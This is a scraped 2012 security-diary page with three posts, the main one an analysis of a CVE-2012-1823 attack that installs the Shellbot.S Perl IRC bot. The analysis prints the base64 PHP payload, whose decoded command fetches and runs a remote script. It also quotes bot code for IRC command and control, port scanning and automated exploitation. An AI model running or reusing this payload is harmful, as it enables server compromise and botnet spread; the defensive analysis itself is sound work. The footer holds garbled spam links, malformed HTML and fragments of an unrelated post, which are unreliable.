Sophos detecting itself as SHH/Updater-B

Published: 2012-09-19
Last Updated: 2012-09-19 21:39:47 UTC
by Kevin Liston (Version: 2)
6 comment(s)

The latest definition file for Sophos is having some unintended consequences.  It is currently being discussed on their website:

More to come.

Update 21:39 GMT Binary updates appear to be reaching customers now.

6 comment(s)
iOS6 released: a few CVEs addresses, breaks mapping.

Volatility: 2.2 is Coming Soon

Published: 2012-09-19
Last Updated: 2012-09-19 18:03:29 UTC
by Kevin Liston (Version: 1)
0 comment(s)

Volatility 2.2 RC1 is available and supports Linux images

The good folks in the Volatilty/Memory Analysis community have been pretty busy lately. Release candidate for version 2.2 has been recently published ( which adds support for Linux and adds plugins addressing the Windows GUI. There is also a plugin that will pull the event logs from memory for XP and 2003. Take a moment to read through the release notes for 2.2 RC1:

Month of Volatility Plugins

Last week, the Volatility Labs Blog started a Month of Volatility plugin series, to introduce the new features becoming available in 2.2 ( Final release for 2.2 should be available in October.

Using Volatilty in the Workplace

I've employed volatility in a couple different ways in the workplace. Gathering a memory snapshot was added to our malware response process, so adding a few default volatility jobs to the analysis procedure made sense.

In other instances, it was used in an ad hoc fashion, depending on the particulars of the case. When used in this manner, I would install volatlity in with the case file itself, and scripts were used to create any volatility output that was later used in the write-up. While this was a waste of disk-space, it allowed for others to reproduce my work, and this was in the early days of Volatility where updates might break plugins that I'd used in a case. Now we're moving towards using a VM for each case so that the entire too-lset used in the investigation is

Dealing with Upgrades

In both methods, I'm still faced with how to deal with updates to the tool. In the former I run the risk of breaking the process. In the latter, it's not as big of a deal, since I would install the latest whenever a case was started. It may be a good idea to keep a couple of versions of volatility installed due to plugin dependencies.

When a particular finding is crucial in a case, it makes sense to verify that finding using different tools. Compare your volatilty results with those from say, Mandiant's redline or memoryze, or whatever commercial memory analysis tool you enjoy.

You should also follow a similar process with new versions of plugins. Test the new version on an old case's memory image (or compare using some of the example memory captures here:


0 comment(s)

Script kiddie scavenging with Shellbot.S

Published: 2012-09-19
Last Updated: 2012-09-19 16:58:24 UTC
by Russ McRee (Version: 1)
3 comment(s)


In the oldie but goodie category, reader Jon Turner sent us a fun example of old school malfeasance this morning that I'll share for your review and tactical opportunities.
He sent us two packets, each exhibiting the same interaction with an IP address in Latvia.
Jon conducted some nice analysis before sending the PCAP our way; I let him speak for himself:
"We've been getting pretty regularly pinged with attempts to exploit CVE-2012-1823. We're not vulnerable for a few different reasons, so I'd been ignoring it but I finally got around to pulling down a packet capture of the traffic and inspecting it. The attack attempts to disable a few security-related PHP configuration settings, disable Suhosin, and then pull down and execute a Perl script via a system call.
Though I think our attacker is a bot or script kiddie (they didn't bother to fingerprint the server and pass an attack for the right OS), the script is pretty interesting. Forefront detects it as Backdoor:Perl/Shellbot.S. There are sections of the code for joining an IRC channel for C&C, performing port scans, and automatically exploiting other systems. It looks like more than one developer was involved in writing the exploit code."
Let's have a little fun and dig in to Shellbot.S a bit.
As also described by Jon, the evil bits are still available at the URL in the base64_encoded instructions in the packets:
data='<?php eval(base64_decode('ZWNobyAic3Q0cjciLnN5c3RlbSgiY2QgL2Rldi9zaG07d2dldCBodHRwOi8
vY2tib290LmFsdGVydmlzdGEub3JnL3BocC5qcGc7IHBlcmwgcGhwLmpwZyIpLiI3aDMzbmQiOw==')); ?>'
If you're following along at home, use a sandboxed/isolated Linux VM that you can reset when all finished.
Via your favorite base64 encoder/decoder (I like the HackBar Firefox add-on) decode the string above and you should end up with:
echo "st4r7".system("cd /dev/shm;wget; perl php.jpg")."7h33nd";
From my Ubuntu VM I conducted the following:
malman@ubuntu:~$ netstat -ano | grep ESTABLISHED
No results.
Went and  wgot the bot code.
malman@ubuntu:~$ wget
--2012-07-11 13:47:41--
Connecting to||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15728 (15K) [image/jpeg]
Saving to: `php.jpg'
100%[=========================================================================================>] 15,728      27.1K/s   in 0.6s   
2012-07-11 13:47:51 (27.1 KB/s) - `php.jpg' saved [15728/15728]
Followed orders per the base64 instructions:
malman@ubuntu:~$ perl php.jpg
Now we have some results, instant IRC hookup.
malman@ubuntu:~$ netstat -ano | grep ESTABLISHED
tcp        0      0      ESTABLISHED off (0.00/0/0)
My Ubuntu VM was not running an SSH daemon, I didn't even have it installed.
But line 14 of the "spreader" script defines my $processo = '/usr/sbin/sshd';
Yep, confirmed:
malman@ubuntu:~$ ps aux | grep sshd
malman   17940 96.3 0.2   6944 2592 pts/3    R    13:49   2:23 /usr/sbin/sshd
As Jon stated, in the code we see that the script:
1) Joins an IRC channel for C&C
my @hostauth=("localhost");
my @canais=("#consola");
chop (my $realname = 'mech');
$servidor='' unless $servidor;
my $porta='6667';
2) Performs port scans
             my (@aberta, %porta_banner);
          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports.");
3) Automatically exploits unpatched PHP "opportunities" and leverages Google for some heavy lifting.
Starting at line 209:
if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Scanning for unpatched INDEXU for ".$1." seconds.");
Starting at line 491:
    my $query="";
    my @lst=();      
    my $page = http_query($query);
    while ($page =~ m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
A $funcarg params check also reveals that Shellbot.S included TCP, UDP, and HTTP flooding functionality.
There are references to this source code being reported to Securityfocus as seen in attacks as far back as 2006.
But my favorite reference in this classic-come-lately?
# Spreader
# this 'spreader' code isnot mine, i dont know who coded it.
# update: well, i just fix0red this s**t a bit.
Script kiddie indeed.
Keep those PHP apps and instances patched, folks.


3 comment(s) still down from "hardware issues"
ISC StormCast for Wednesday, September 19th 2012


What's this all about ..?
password reveal .
<a hreaf="">the social network</a> is described as follows because they respect your privacy and keep your data secure:

<a hreaf="">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.

<a hreaf="">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
<a hreaf=""> public bathroom near me</a>
<a hreaf=""> nearest public toilet to me</a>
<a hreaf=""> public bathroom near me</a>
<a hreaf=""> public bathroom near me</a>
<a hreaf=""> nearest public toilet to me</a>
<a hreaf=""> public bathroom near me</a>
Enter comment here... a fake TeamViewer page, and that page led to a different type of malware. This week's infection involved a downloaded JavaScript (.js) file that led to Microsoft Installer packages (.msi files) containing other script that used free or open source programs.
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
Enter corthrthmment here...

Diary Archives